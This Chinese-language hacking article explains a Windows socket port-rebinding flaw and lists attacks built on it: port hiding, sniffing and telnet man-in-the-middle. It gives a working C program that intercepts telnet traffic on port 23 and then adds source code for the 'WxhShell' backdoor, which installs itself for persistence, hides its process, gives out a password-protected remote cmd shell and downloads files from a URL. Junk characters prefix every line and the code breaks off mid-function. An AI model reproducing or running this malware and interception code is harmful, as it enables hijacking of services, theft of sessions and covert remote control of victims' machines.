在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@YEdN}es s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
W*xz 0 nFn@Z'T$N saddr.sin_family = AF_INET;
/!*gH1s b7:B[7yK.x saddr.sin_addr.s_addr = htonl(INADDR_ANY);
I+Q`i:\,q :X`Bc" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
F+`DfI]/m 3??*G8Yp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
om"q[Tudc *Iu
.>nw 这意味着什么?意味着可以进行如下的攻击:
ZhWtY $z9z'^HqO 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
b (,X3x* 7x%0^~/n 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
C(-bh]J pEjA*6v|, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
H:ar&o#( GA{Q6]B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
qR~s&SC# TT429 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
&S.zc@rN (BgO< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%EuXL% B od- 0wJN-m 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
I499Rrw#E 'y#kRC=G: #include
eTc0u;{V #include
_BcYS #include
T~k5` ~\( #include
SR#%gR_SC DWORD WINAPI ClientThread(LPVOID lpParam);
Xf.w(- int main()
S?}@2[ {
RN?z)9! WORD wVersionRequested;
iz`u@QKc% DWORD ret;
/:a~;i WSADATA wsaData;
`j59MSuK BOOL val;
VY'#>k}} SOCKADDR_IN saddr;
g5)f8k0+ t SOCKADDR_IN scaddr;
Aa5IccR int err;
Kt%`]Wp SOCKET s;
;X u&['
SOCKET sc;
Riq5Au?*) int caddsize;
I3xx}^V HANDLE mt;
BPnZ"w_ DWORD tid;
,=tVa]) wVersionRequested = MAKEWORD( 2, 2 );
`@{qnCNQ err = WSAStartup( wVersionRequested, &wsaData );
A$RN7# if ( err != 0 ) {
Ms*;?qtrR printf("error!WSAStartup failed!\n");
x C'>W"pY return -1;
DVYY1!j< }
63QSYn,t saddr.sin_family = AF_INET;
a$I;
L $S$%avRX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
39JLi~j, ~ e[)]b3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
0\AYUa?RM saddr.sin_port = htons(23);
B @]( , if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L4aT=of- {
I\sCH printf("error!socket failed!\n");
(r,RwWYm return -1;
#(@dN+ }
1$fA9u$ val = TRUE;
voaRh@DZ%/ //SO_REUSEADDR选项就是可以实现端口重绑定的
F!VC19<1O8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
17G7r\iNYq {
C,Je >G printf("error!setsockopt failed!\n");
d]h[]Su/? return -1;
&^thKXEC }
f #414ja //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
M`umfw T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
H7)(<6b,z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^HHJ.QR uJG^>B?`b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
LX
j Tqp' {
?x]T&S{ ret=GetLastError();
GZ@!jF>!u printf("error!bind failed!\n");
knypSgk_ return -1;
+D1;_DU }
+bd/*^ listen(s,2);
nF}]W14x while(1)
4;|&}Ij {
mxjY-Kq caddsize = sizeof(scaddr);
ltHC+8aZ //接受连接请求
udg;jR-^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
iD@2_m) if(sc!=INVALID_SOCKET)
SsafRK$ {
W.o
W=< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
PG)dIec if(mt==NULL)
z@VY s {
THK)G2
= printf("Thread Creat Failed!\n");
G
<m{ o break;
vVKiE 6^ }
1O9V Ej5 }
e)\s0# CloseHandle(mt);
+(r8SnRX }
jKQnox+= closesocket(s);
uZ Id.+Rk WSACleanup();
g}' "&Y return 0;
U,Z.MPQ }
TA}gCXE
e DWORD WINAPI ClientThread(LPVOID lpParam)
~v9\4O {
a&ZH SOCKET ss = (SOCKET)lpParam;
NK*~UePy SOCKET sc;
P 2;j>=W unsigned char buf[4096];
g;=jZ SOCKADDR_IN saddr;
_}`iLA!$I long num;
y{K~g<VL DWORD val;
?{cF'RB. DWORD ret;
" I`<s < //如果是隐藏端口应用的话,可以在此处加一些判断
`-Gs*#(/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&e_M \D saddr.sin_family = AF_INET;
(q*T. saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
V|xR`Q saddr.sin_port = htons(23);
0_qqBL.4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*BBP"_$ {
a+zE`uY
printf("error!socket failed!\n");
K*;=^PY return -1;
X"8Jk4y }
E'Egc4Z2=l val = 100;
|)pT"` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
H*yX
Iq: {
PWL Mux ret = GetLastError();
)e9(&y*o return -1;
VILzx+v
M }
sP5PYNspA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
R$(,~~MH {
&^qD<eZ!Eq ret = GetLastError();
#)=P/N1 return -1;
&{y-}[~
}
)#Y*] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Uh?SDay {
wvJm)Mj+ printf("error!socket connect failed!\n");
h{J2CWJ closesocket(sc);
yZ 6560(q closesocket(ss);
A#2Fd7& return -1;
n`0}g_\q }
$C(} while(1)
@?G.6r~ {
eNu`\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
tQz-tQg //如果是嗅探内容的话,可以再此处进行内容分析和记录
3HFsR) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
RH6qi{)i! num = recv(ss,buf,4096,0);
`<y2l94tL if(num>0)
|53Zg"! send(sc,buf,num,0);
TS$ 2K else if(num==0)
Q>JJI:uC4 break;
cl1h;w9s num = recv(sc,buf,4096,0);
M*8Ef^-U`t if(num>0)
lkFv5^% send(ss,buf,num,0);
5cgDHs else if(num==0)
=|pQA~UU# break;
io$AGi }
GvF~h0wMt closesocket(ss);
&`pd&U{S* closesocket(sc);
?o),F^ir return 0 ;
0j7\.aaK }
5sFp+_`` %@kmuz?? #s)6u?N ==========================================================
kVy%y"/ >F!2ib8 下边附上一个代码,,WXhSHELL
gG~UsA 4[Hf[. ==========================================================
qL,! \@GA;~x.b #include "stdafx.h"
:=T+sT~
. sgV #include <stdio.h>
,>`wz^z #include <string.h>
D$I7Gz,w{ #include <windows.h>
Ngi$y>{Sq #include <winsock2.h>
K\5@yqy5 #include <winsvc.h>
l`~*"4|/ #include <urlmon.h>
u
z4P 6i(nyA
2! #pragma comment (lib, "Ws2_32.lib")
68+9^ #pragma comment (lib, "urlmon.lib")
HKb8z@;%@ j1Q G-Rs& #define MAX_USER 100 // 最大客户端连接数
AnP7KSN[\ #define BUF_SOCK 200 // sock buffer
+/-#yfn!TR #define KEY_BUFF 255 // 输入 buffer
NK$k9, :
JD%=w_ #define REBOOT 0 // 重启
k)1K6ug #define SHUTDOWN 1 // 关机
2jOh~-LU m/Q@ - #define DEF_PORT 5000 // 监听端口
AWi~qzTZ \=XAl >}\ #define REG_LEN 16 // 注册表键长度
Vqb4
MWW #define SVC_LEN 80 // NT服务名长度
L#M9 ! r|{h7' // 从dll定义API
7^ITedW@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>|/NDF=\s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-s,^_p{H typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!G90oW typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
tl
(2=\ KArR.o } // wxhshell配置信息
'_@Y struct WSCFG {
5 nkx8JJ int ws_port; // 监听端口
>hJ$~4? char ws_passstr[REG_LEN]; // 口令
|K,9EM3 int ws_autoins; // 安装标记, 1=yes 0=no
&Op, ?\
char ws_regname[REG_LEN]; // 注册表键名
ltO:./6v char ws_svcname[REG_LEN]; // 服务名
YRfs8I^rg char ws_svcdisp[SVC_LEN]; // 服务显示名
u-qg9qXJb char ws_svcdesc[SVC_LEN]; // 服务描述信息
7(QRG\G# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
SirjWYap int ws_downexe; // 下载执行标记, 1=yes 0=no
kBS;SDl) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
C;1A$]bk char ws_filenam[SVC_LEN]; // 下载后保存的文件名
e>#*$4tg mawomna };
VL?ubt< SWNi@ // default Wxhshell configuration
zy"L%i struct WSCFG wscfg={DEF_PORT,
{W)Kz_ "xuhuanlingzhe",
4h@jJm
1,
(Ub=sC "Wxhshell",
N&]v\MjI62 "Wxhshell",
M$B9?N6 "WxhShell Service",
_*>bf G "Wrsky Windows CmdShell Service",
+\fr3@Yc "Please Input Your Password: ",
=!*e; L 1,
j#f+0 "
http://www.wrsky.com/wxhshell.exe",
N /p9Ws "Wxhshell.exe"
2%m H };
&BY%<h0c ryB^$Kh,, // 消息定义模块
{KxeH7S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
w4Qqo( char *msg_ws_prompt="\n\r? for help\n\r#>";
-icOg6% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@{iws@. char *msg_ws_ext="\n\rExit.";
' Ph char *msg_ws_end="\n\rQuit.";
5bYU(] char *msg_ws_boot="\n\rReboot...";
&=Gz[1
L char *msg_ws_poff="\n\rShutdown...";
jrbEJ. char *msg_ws_down="\n\rSave to ";
W2D^%;mw CC0@RU char *msg_ws_err="\n\rErr!";
5|my}.TR char *msg_ws_ok="\n\rOK!";
J;W(}"cFq x%pC.0% char ExeFile[MAX_PATH];
g{.>nE^Sc5 int nUser = 0;
:!Wijdq HANDLE handles[MAX_USER];
I?YTX int OsIsNt;
ZR.1SA0x?O [^EU'lewnW SERVICE_STATUS serviceStatus;
d rnqX-E; SERVICE_STATUS_HANDLE hServiceStatusHandle;
/;-KWu+5= |NJe4lw+? // 函数声明
iS&~oj_-% int Install(void);
jV]'/X< int Uninstall(void);
3FT%.dV^ int DownloadFile(char *sURL, SOCKET wsh);
^1s!OT Is int Boot(int flag);
)G\23P void HideProc(void);
1P#bR`I
> int GetOsVer(void);
1L]7*NJe int Wxhshell(SOCKET wsl);
WPygmti}Be void TalkWithClient(void *cs);
G~1#kg int CmdShell(SOCKET sock);
P~Q5d&1SO int StartFromService(void);
g0v},n int StartWxhshell(LPSTR lpCmdLine);
VUC XSyCT0f08 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
lhw]?\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
Fq!12/Nn F1JSf&8 // 数据结构和表定义
9yH95uaDF SERVICE_TABLE_ENTRY DispatchTable[] =
#~3x^4Y {
\{AxDk{z# {wscfg.ws_svcname, NTServiceMain},
M>D 3NY[, {NULL, NULL}
>!s=f };
v_)a=I%o&2 IMIZ#/ // 自我安装
Fh9%5-t:J int Install(void)
SlB,?R2 {
R $HIJM char svExeFile[MAX_PATH];
j/4N HKEY key;
_IuEa\> strcpy(svExeFile,ExeFile);
},KY9w b Gq0k& // 如果是win9x系统,修改注册表设为自启动
@=,2{JF*6 if(!OsIsNt) {
pJrc\`D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z~Ph=1O>p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[t*m$0[: RegCloseKey(key);
\kqa4{7 U( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3G9"La,b
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
fzO4S^mTo8 RegCloseKey(key);
AFcsbw return 0;
CP_ ?DyWU }
L&=j O0_ }
A`v (hBM }
P*oKcq1R else {
#t:]a<3Y2 `2c>M\c4U // 如果是NT以上系统,安装为系统服务
-CfGWO#Gbx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
CB<1]Z if (schSCManager!=0)
ZKzXSI4 {
06"p^# SC_HANDLE schService = CreateService
!<H[h4g (
!`q*{Ojx schSCManager,
4 d4le wscfg.ws_svcname,
}M'h5x wscfg.ws_svcdisp,
q$z#+2u SERVICE_ALL_ACCESS,
3t22KY[` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|7n&I`# SERVICE_AUTO_START,
2
*IF SERVICE_ERROR_NORMAL,
AN7WMX svExeFile,
OLJb8kO NULL,
'c<vj
jIg NULL,
/%C6e
)7BL NULL,
_+g5;S5 NULL,
bq[j4xH0X NULL
+N5#EpW );
2ME"=!&5 if (schService!=0)
0JQy-hpF {
g66=3c9</6 CloseServiceHandle(schService);
x^Tjs<# CloseServiceHandle(schSCManager);
@GqPU,RO strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/AV
[g^x2 strcat(svExeFile,wscfg.ws_svcname);
qp 4.XL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
C=(-oI n
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
%^[45e RegCloseKey(key);
S>OfUrt return 0;
Kdh(vNB> }
TJ[C,ic=D }
:bI4HXT3 CloseServiceHandle(schSCManager);
}3:DJ(Y }
3#huC=zbf }
fL.;- =MDir$1Z return 1;
zIt-mU }
U^vQr%ha s^ rO I~ // 自我卸载
ZOc1 vj int Uninstall(void)
fiOc;d8 {
J01w\#62pQ HKEY key;
7)$U>|= J~KWn. if(!OsIsNt) {
NLFs)6\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GdG1e%y]z RegDeleteValue(key,wscfg.ws_regname);
PxzeN6f RegCloseKey(key);
(RG\U[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
s<gZB:~ RegDeleteValue(key,wscfg.ws_regname);
kK&tB RegCloseKey(key);
q9.)p return 0;
E*ybf' }
vpXC5|9U }
B!GpD@U }
F{)YdqQ else {
v1<gNb)` `bu3S}m7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Y(GH/jw if (schSCManager!=0)
yjs5=\@ {
x%d+~U;$& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3Yf%M66t if (schService!=0)
_F>1b16:/P {
#\N?ka}! if(DeleteService(schService)!=0) {
,{:c<W:A] CloseServiceHandle(schService);
8(3'YNC CloseServiceHandle(schSCManager);
~fw 6sY# return 0;
;'l Hw]}O* }
pxjN\q CloseServiceHandle(schService);
Ze~$by|9f }
B+S
&vV CloseServiceHandle(schSCManager);
kB1]_v/ }
:khl}| }
UfjLNe}wA ;~T)pG8IS return 1;
},'hhj]O }
6cz%>@ I7TdBe- // 从指定url下载文件
2Fi>nJ int DownloadFile(char *sURL, SOCKET wsh)
0/hX3h {
*I%r
HRESULT hr;
wGa0w*$ char seps[]= "/";
^;+lsEW char *token;
B%gk[!d}8 char *file;
='u'/g$'& char myURL[MAX_PATH];
9UTWq7KJ char myFILE[MAX_PATH];
[0.>:wT W"Hjn/xSS strcpy(myURL,sURL);
kwNXKn/ token=strtok(myURL,seps);
y _J~n 9R while(token!=NULL)
*bRer[7y {
!iUdej^tx file=token;
b9ysxuUdS token=strtok(NULL,seps);
MV6%~T }
6-va;G9Fc qd{o64;| GetCurrentDirectory(MAX_PATH,myFILE);
pcXY6[#N strcat(myFILE, "\\");
HX\@Qws strcat(myFILE, file);
;wND?: send(wsh,myFILE,strlen(myFILE),0);
3U<\y6/ send(wsh,"...",3,0);
0h!2--Aur hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
BF8n: }9U if(hr==S_OK)
@_^QBw0 return 0;
%Y%+K5;AZ else
}u
cqzdk#2 return 1;
4 q}1 1<A+.W }
k$:QpTg[ )?~3fb6^ // 系统电源模块
YS=|y}Q|7d int Boot(int flag)
[W=%L:Ea {
IcZ_AIjlk HANDLE hToken;
;OQ-T+(T TOKEN_PRIVILEGES tkp;
d='z^vHK piJ/e if(OsIsNt) {
vW]Frb OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
*LcLYxWo LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
l|O^yNS tkp.PrivilegeCount = 1;
RtH[OZu(8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
%(;jx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
C&D]!ZvF if(flag==REBOOT) {
W~p^AHco` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Tj*o [2mD return 0;
T[a1S ?_*T }
ju0]~, else {
%8/Gsu; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
% \N.m/5 return 0;
Hf+A52lrf }
'j#oMA{0 }
g3n^
<[E else {
q_HC68YF, if(flag==REBOOT) {
;hF >iw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
OP
|{R7uC return 0;
u~<>jAy }
HP|,AmVLl else {
=sRd5aMs if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
qTC`[l return 0;
E#Ynn6 }
i_g="^ }
9 U1)sPH; +A
W6 >yV` return 1;
#W
1`vke3 }
[UNfft=K3P hDmtBdE // win9x进程隐藏模块
As@~%0 S void HideProc(void)
J x-^WB {
@A!Ef=R q9pBS1Ej HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%s$_KG !& if ( hKernel != NULL )
pTUsdao^, {
,iCd6M{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
o"[P++qd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
nhk +9 FreeLibrary(hKernel);
NrVQK}%K }
NF0IF#;a 7qon:]b4 return;
U"-mLv"| }
&N0W! v3S{dX< // 获取操作系统版本
25ul,t_Du int GetOsVer(void)
s .^9;%@$J {
lO%Z4V_Mj OSVERSIONINFO winfo;
Bp^>R`, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vtR<(tOu@ GetVersionEx(&winfo);
vb: '%^v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
<| |Lj return 1;
`h$6MFC/g else
0'^? m$ return 0;
HT
A-L>Cee }
OI %v>ns )U<4ul // 客户端句柄模块
yN{Ybp int Wxhshell(SOCKET wsl)
y$*?k0=ZX {
PNT.9 *d SOCKET wsh;
&IT'%*Y:V struct sockaddr_in client;
S7aS Ut! DWORD myID;
$f1L<euH ~/3cQN^ while(nUser<MAX_USER)
1}S_CR4XBs {
Y+upZ@Ga int nSize=sizeof(client);
)%X\5]w` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
wVE"nN# if(wsh==INVALID_SOCKET) return 1;
SZG8@ !_}7 BOL_kp" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
W$gSpZ_7 if(handles[nUser]==0)
K/Q;]+D closesocket(wsh);
6e |
else
Aplqxvth nUser++;
RfN5X}&A }
Uw61X>y= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
sf\;|`} P_-zkw return 0;
+hjc~|RK }
V$q%=Sip U{>!`RN // 关闭 socket
m{%_5 nW void CloseIt(SOCKET wsh)
5`x9+XvoN {
UeHS4cW closesocket(wsh);
lBQ|= nUser--;
@GnsW;$*~. ExitThread(0);
L8bq3Q'p }
"%f>/k;!h. OFRzz G@ // 客户端请求句柄
BD4.sd+H, void TalkWithClient(void *cs)
xR#hU;E} {
7{<F6F^P mqsf#'ri SOCKET wsh=(SOCKET)cs;
*tRJ= char pwd[SVC_LEN];
Y#]Y$n char cmd[KEY_BUFF];
W:rzfO.`Z char chr[1];
DT 9i<kl int i,j;
C
2oll-kN b17p;wS while (nUser < MAX_USER) {
G>:l(PW: #Q'i/|g if(wscfg.ws_passstr) {
B]*&lRR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
gmLw. |- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\Z+v\5nmO //ZeroMemory(pwd,KEY_BUFF);
}ZYK3F i=0;
n1sH`C[c while(i<SVC_LEN) {
`=-}S+ $S,Uoh // 设置超时
6_XX[.% fd_set FdRead;
T7W+K7kbI struct timeval TimeOut;
*ac#wEd FD_ZERO(&FdRead);
`M7){ FD_SET(wsh,&FdRead);
e6F:['j TimeOut.tv_sec=8;
FswFY7
8 TimeOut.tv_usec=0;
>F-J}P int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
._FgQ``PL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
v(: VUo]H Zfb:>J@h6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(n`\ b47 pwd
=chr[0]; #=O0-si]P
if(chr[0]==0xd || chr[0]==0xa) { B;K{Vo:C
pwd=0; !)\`U/.W
break; xE6y9"}!h
} S0yPg9v
i++; erqm=)
} P$pl
wfZ'T#1
// 如果是非法用户,关闭 socket Ak_;GvC!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U;jk+i
} Sl$dXB@
pp{);
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U-lN_?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uq 6T|Zm
yTDoS|B+)
while(1) { U{ O\
4a3f!G$
ZeroMemory(cmd,KEY_BUFF); /FYa{.Vlr
qp{NRNkQ
// 自动支持客户端 telnet标准 ;3?M?E/$s
j=0; hD$U8~zK
while(j<KEY_BUFF) { )(ma
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3BSeZ:j7
cmd[j]=chr[0]; s-C.+9
if(chr[0]==0xa || chr[0]==0xd) { M?\)&2f[Z
cmd[j]=0; F~DG:x~
break; ($cu!$lY~
} g{D&|qWj
j++; olYSr .Q`
} "QlCcH`g
u!@P,,NY
// 下载文件 D8dTw {C
if(strstr(cmd,"http://")) { ?%LD1 <ya
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {UUVN/$
if(DownloadFile(cmd,wsh)) C/cGr)|8%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {:oZ&y)Ac
else *508PY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Q|}7g8o
} }j:ae \(
else { S"eKiS,z
2
G"p:iPp
switch(cmd[0]) { QyN~Crwo
m+u>%Ys`
// 帮助 )5&m:R9
case '?': { vEgJmHv;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FSBCk
break; J-QQ!qa0
} X,q=JS
// 安装 pGcc6q1
case 'i': { {jc~s~<#
if(Install()) We4 FR4`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Ji?p>\~
else YT3QwN9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Ng*K]0/E
break; &x3"Rq_
} <r\)hx0ov
// 卸载 siG?Sd_2
case 'r': { %fyb?6?Y
if(Uninstall()) C )I"yeS.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DQ9s57VxC!
else T,IV)aq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^y3\e
break; #k"[TCQ>
} (
ou:"Y
// 显示 wxhshell 所在路径 -w2ga1
case 'p': { Bdg*XfXXk
char svExeFile[MAX_PATH]; M84LbgGM%
strcpy(svExeFile,"\n\r"); <.' cCY
strcat(svExeFile,ExeFile); 3@&H)fdp6a
send(wsh,svExeFile,strlen(svExeFile),0); @t2 Q5c
break; SKtEEFyIR_
} -'0AV,{Z
// 重启 Mu (Y6
case 'b': { {xykf7zp
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z84W{!
P
if(Boot(REBOOT)) h1kPsgzR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |l?ALP_g
else { C0fA3y72
closesocket(wsh); SB'YV#--
ExitThread(0); BJq}1mn*
} A8RT3OiXA
break; (gf\VYM-7
} f|G7L5-
// 关机 %%Kg'{-:
case 'd': { q%'ovX(dm
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 395o[YZx*
if(Boot(SHUTDOWN)) $ i&$ZdX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5]Ra?rF
else { I L=v[)en4
closesocket(wsh); Gzfb|9,q
ExitThread(0); R] [M_ r
} hHg
gH4T
break; Gu}x+hG
} 5HIpoj;\(
// 获取shell b
mm@oi
case 's': { '?>eW2d
CmdShell(wsh); 1h#k&r#*3
closesocket(wsh); qN0#=X
ExitThread(0); Y1'.m5E
break; I>3]4mI*a
} 4GfLS.Ip
// 退出 /SKr.S61e
case 'x': { 'f}S,i +q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]p*)
PpIl
CloseIt(wsh); :fYwFD( 9
break; @r]s9~Lx9
} 6uXW`/lvX
// 离开 0oJ^a^|
case 'q': { 7qUtsDK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,%'0e/
closesocket(wsh); -Wn.@bz6B
WSACleanup(); I:_*8el&d
exit(1); {^kG<v.vV
break; QO7:iSZJ
} by
U\I5
} ?iLd5 Z
} ,?`1ve_K<
IeB6r+4|
// 提示信息 NslA/"*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H|)1T-%
} :ky<`Jfr`
} 9$,gTU_a
P{Z71a5
return; a!:8`X~[/$
} V0 F30rK
zn
?;>Bl
// shell模块句柄 c9uT`h
int CmdShell(SOCKET sock) !~N4}!X3du
{ N
&[,nUd
STARTUPINFO si; ]k:m2$le
ZeroMemory(&si,sizeof(si)); 6}T%m?/ }
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W|#ev*'F
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; euhZ4+
PROCESS_INFORMATION ProcessInfo; cXY'>N
char cmdline[]="cmd"; =[K)<5,@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]pV1T
return 0; = b!J)]
} {?mQqoZ?.
y<1$^Y1/)
// 自身启动模式 Z&w^9;30P
int StartFromService(void) kNj3!u$
{ -p.*<y
typedef struct Jo3(bl%u
{ unnx#e]
DWORD ExitStatus; V*zz-
2_i
DWORD PebBaseAddress; H 1D;:n
DWORD AffinityMask; F!&pENQ
DWORD BasePriority; 2]3HX3
